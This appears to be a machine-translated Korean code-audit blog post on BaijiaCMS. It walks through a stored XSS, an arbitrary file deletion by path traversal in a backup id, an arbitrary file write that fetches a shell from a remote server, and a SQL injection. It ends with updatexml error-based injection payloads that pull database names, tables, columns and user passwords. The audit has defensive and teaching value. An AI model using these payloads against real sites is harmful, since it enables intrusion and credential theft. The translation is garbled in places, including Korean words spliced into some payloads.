수백 건의 CMS 코드 감사

수백 건의 CMS 코드 감사

1. XSS 취약점

1. 블랙박스 테스트
  1. 매장관리에서 매장 추가
    여기에 이미지 설명을 삽입하세요.
  2. 매장명, 바인딩 도메인명에 XSS 코드를 입력 후 제출 및 저장
    여기에 이미지 설명을 삽입하세요.
  3. 복귀 후 팝업창이 뜹니다.XSS 코드가 성공적으로 실행되었으며 XSS 취약점이 있습니다.
    여기에 이미지 설명을 삽입하세요.
1. 코드 감사
  1. 경로에 따라 매장 관리 코드 찾기: 경로
    소개:
    index.php?mod=site&act=manager&do=store&op=post&beid=1
    act: Manager는 관리자 디렉터리를 나타냅니다.
    do: 디렉터리에 있는 php 파일을 나타냅니다.
    op: 파일의 특정 명령문 분기
    이 PHP 파일에 고정:
system\manager\class\web\store.php

여기에 이미지 설명을 삽입하세요.
2. 패킷을 캡처하여 전달 매개변수를 확인합니다.
여기에 이미지 설명을 삽입하세요.
프런트엔드에서 입력한 스메인웹사이트가 주로 여기에서 전달되는 것을 볼 수 있습니다 . 이 두 필드는 외부에서 제어할 수 있으며 코드에서 찾습니다.

	$data=array('sname'=>$_GP['sname'],'is_system'=>0,
	'isclose'=>intval($_GP['isclose']));
   $data['website']=$_GP['website'];   // 接受前段传递过来的website参数

마지막으로 Sql 문을 통해 데이터베이스를 삽입합니다:
여기에 이미지 설명을 삽입하세요.
3. 이를 분석한 후 데이터를 삽입하기 전에 데이터가 필터링되지 않았음을 알 수 있습니다. 이제 출력이 필터링되었는지 확인합니다.
여기에 이미지 설명을 삽입하세요.
4. 볼 출력 페이지를 찾습니다:
Path : system\manager\template\web\store_display.php
여기에 이미지 설명을 삽입하세요.
5. 아무런 필터링 없이 프로그램이 바로 출력되는 것을 볼 수 있어 XSS 취약점이 있습니다.

2. 임의 파일 삭제 취약점

1. 블랙박스 테스트 + 코드 감사
  1. 백업 및 복원 시 이전에 백업한 데이터베이스를 삭제할 수 있습니다.여기에 이미지 설명을 삽입하세요.
  2. 패킷을 캡처하여 이 경로를 찾습니다.
    요청 경로:
/baijiacms-master/index.php?mod=site&act=manager&do=database&op=delete&id=MTY2NTkxODU4Nl9LNTNxMzc4Sw%3D%3D&beid=1

여기서 매개변수 ID는 base64로 인코딩되어 있으며, 디코딩한 결과 백업 파일 1665918730_Cw00T0zg를 나타내는 것으로 확인되었습니다.
여기에 이미지 설명을 삽입하세요.
3. 이때 코드를 검토한 결과 백그라운드에서 프런트엔드가 전달한 매개변수 ID를 수신하는 것으로 나타났습니다. 여기서 ID는 외부에서 제어할 수 있습니다. 여기서도 rmdirs() 함수가 참조되는 것을 확인했습니다. 마지막으로 삭제된 파일이 폴더인지 판단합니다. 폴더이면 괜찮습니다. 단순 파일이면 삭제할 수 없습니다. 4.
여기에 이미지 설명을 삽입하세요.
참조된 rmdirs() 함수를 확인하여 삭제 함수 rmdir()이 사용된 것을 확인하므로 여기서 삭제할 다른 파일을 수동으로 구성할 수 있습니다. 5.
여기에 이미지 설명을 삽입하세요.
config 디렉터리에 새 테스트를 생성한 후 id를 다음으로 변경합니다. .../ (base64 인코딩) 테스트:
여기에 이미지 설명을 삽입하세요.
여기에 이미지 설명을 삽입하세요.
6. tets 파일을 다시 확인하여 현재 삭제되었으며 모든 파일 삭제 취약점 검증에 성공했습니다.

3. 임의 파일 쓰기 취약점

1. 블랙박스 테스트 + 코드 감사
  1. 이 cms에는 이미지 업로드 기능이 있는 경우가 많습니다. 네트워크 이미지를 추출하는 기능도 있습니다. 코드를 찾기 위한 더 많은 라우팅이 있습니다.
    여기에 이미지 설명을 삽입하세요.
    여기에 이미지 설명을 삽입하세요.
  2. 여기서는 fetch_net_file_upload() 함수가 호출됩니다. 이 함수를 찾아보겠습니다:
    여기에 이미지 설명을 삽입하세요.
    여기서는 file_get_contents() 함수를 사용하여 원격 파일을 저장한 후 file_save() 함수를 통해 저장합니다.
    file_get_contents(): 전체 파일을 문자열로 읽어옵니다. 그래서 우리는 VPS에 파일을 넣고 쓰도록 했습니다.
  3. 업로드 후 경로가 직접 반환됩니다. 테스트해 보겠습니다.
    여기에 이미지 설명을 삽입하세요.
  4. 파일이 성공적으로 작성되었음을 확인할 수 있으며, 여기서 직접 쉘을 작성할 수 있습니다.
    여기에 이미지 설명을 삽입하세요.

4. SQL 주입 취약점

1. 블랙박스 테스트 + 코드 감사
  1. 매장관리실에서 매장명을 검색하시면 됩니다.
    여기에 이미지 설명을 삽입하세요.
    여기에 이미지 설명을 삽입하세요.

  2. 여기에서 경로를 찾아 코드를 확인합니다:
    여기에 이미지 설명을 삽입하세요.
    $_GP['sname'] 여기서 외부 입력을 통해 수신된 다음 Sql 문에 직접 연결되어 Sql 주입이 발생합니다. 먼저 Sql 문을 인쇄하여 살펴보겠습니다.
    여기에 이미지 설명을 삽입하세요.

"SELECT store.* FROM `baijiacms_system_store` store where store.`deleted`=0  AND store.sname  LIKE '%1'%' LIMIT 0,20"
  1. 보시다시피, 우리가 입력한 1'이 SQL 문으로 가져왔으므로 여기에 SQL 주입 취약점
    페이로드가 있습니다.1' and updatexml(1,concat(0x7e,user(),0x7e,database()),1)#
    여기에 이미지 설명을 삽입하세요.

6. SQL 주입 updatexml 오류 보고서

updatexml() 함수 : 다른 xml 태그를 사용하여 xml 블록을 일치시키고 교체하는 함수입니다.
기능 : 조건에 맞는 문서 내 노드의 값을 변경합니다.

구문 ,
XML_document: updatexml ( . updatexml을 사용할 때 xpath_string 형식에 오류가 발생하면 mysql은 xpath 구문 오류(xpath 구문)를 폭발시킵니다. 예: select * from test where ide = 1 and (updatexml(1, 0x7e,3)); 0x7e는 ~이고 xpath 구문 형식에 속하지 않으므로 xpath 구문 오류가 보고됩니다.



updatexml 오류 삽입

  1. 데이터베이스 정보 분해
    1' 및 updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#
  2. 현재 데이터베이스 테이블
    1' 및 updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)의 정보를 분해합니다. #
  3. 爆表中字段信息
    1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) #
  4. 데이터베이스 콘텐츠 폭발
    1' 및 updatexml(1,concat(0x7e,(select group_concat(user,password) from dvwa.users),0x7e),1) #

Supongo que te gusta

Origin blog.csdn.net/qq_42383069/article/details/127351080
Recomendado
Clasificación